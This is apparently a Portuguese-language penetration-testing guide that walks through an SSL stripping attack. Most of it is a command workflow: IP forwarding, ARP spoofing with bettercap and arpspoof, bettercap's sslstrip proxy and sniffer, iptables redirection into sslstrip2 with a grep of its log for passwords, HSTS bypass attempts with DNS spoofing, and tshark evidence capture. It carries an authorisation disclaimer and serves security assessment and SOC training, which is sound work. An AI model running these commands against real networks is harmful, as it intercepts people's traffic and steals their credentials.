Realizando Ataque de SSL Stripping

Quando Usar

• Testar se aplicações web aplicam corretamente o HTTPS através de cabeçalhos HSTS e cadeias de redirecionamento.
• Validar se o pré-carregamento HSTS está configurado corretamente e registrado nas listas de pré-carregamento do navegador.
• Demonstrar o risco do HTTP em texto claro para stakeholders durante avaliações de segurança autorizadas.
• Avaliar se aplicações internas e clientes "thick" validam certificados TLS e rejeitam downgrades.
• Treinar equipes de SOC para detectar indicadores de SSL stripping no tráfego de rede.

Não use contra redes ou aplicações sem autorização escrita explícita, para interceptar credenciais reais de usuários, ou contra sistemas de produção durante o horário comercial sem aprovação de gerenciamento de mudanças.

Pré-requisitos

• Autorização escrita especificando aplicações no escopo e técnicas de ataque aprovadas.
• Bettercap 2.x ou sslstrip2 instalado na máquina do atacante.
• ARP spoofing ou outra posição de MITM estabelecida (veja a habilidade de ARP spoofing).
• Encaminhamento de IP habilitado na máquina do atacante.
• Wireshark para verificar o sucesso do ataque e capturar evidências.
• Contas de teste (não credenciais reais de usuários) para demonstrar a interceptação de credenciais.

Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1: Estabelecer Posição de MITM

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1

# Position via ARP spoofing using Bettercap
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on"

# Alternatively, use arpspoof from dsniff
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1 &

Passo 2: Executar SSL Stripping com Bettercap

# Start Bettercap with SSL stripping
sudo bettercap -iface eth0

# Enable ARP spoofing
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
> arp.spoof on

# Enable HTTP proxy with SSL stripping
> set http.proxy.sslstrip true
> set http.proxy.port 8080
> http.proxy on

# Enable network sniffer for credential capture
> set net.sniff.verbose true
> net.sniff on

# Watch for intercepted HTTP traffic (was HTTPS)
# Bettercap will show credentials and URLs in real-time

Passo 3: Executar SSL Stripping com sslstrip2

# Configure iptables to redirect HTTP traffic through sslstrip
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

# Start sslstrip
sudo sslstrip2 -l 10000 -w sslstrip_log.txt

# In another terminal, monitor the log for intercepted credentials
tail -f sslstrip_log.txt | grep -i "pass\|user\|login\|email"

# sslstrip works by:
# 1. Intercepting HTTP responses containing HTTPS links
# 2. Replacing https:// with http:// in the response
# 3. Maintaining HTTPS connection to the real server
# 4. Serving downgraded HTTP to the victim

Passo 4: Testar Técnicas de Bypass de HSTS

# Check if target has HSTS header
curl -sI https://target-app.example.com | grep -i strict-transport-security

# Check if target is on the HSTS preload list
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool

# Test HSTS bypass via subdomain substitution
# sslstrip2 can replace URLs with similar-looking HTTP alternatives:
# https://accounts.google.com -> http://accounts.google.com (fails if HSTS)
# https://accounts.google.com -> http://accounts.google.com. (trailing dot bypass attempt)

# Bettercap HSTS bypass with DNS spoofing
sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.50
> arp.spoof on
> set dns.spoof.domains target-app.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
> set http.proxy.sslstrip true
> http.proxy on

# For applications not on HSTS preload, clear HSTS cache in test browser:
# Chrome: chrome://net-internals/#hsts -> Delete domain security policies
# Firefox: Clear recent history -> Active Logins (resets HSTS)

Passo 5: Validar Detecção e Controles

# Verificar da perspectiva da vítima:
# 1. A barra de endereço do navegador deve mostrar http:// em vez de https://
# 2. Nenhum ícone de cadeado visível
# 3. Se o HSTS for eficaz, o navegador deve mostrar um erro e recusar a conexão

# Capturar evidências do downgrade
tshark -i eth0 -f "host 192.168.1.50 and port 80" \
  -T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
  -Y "http.request" > ssl_strip_evidence.txt


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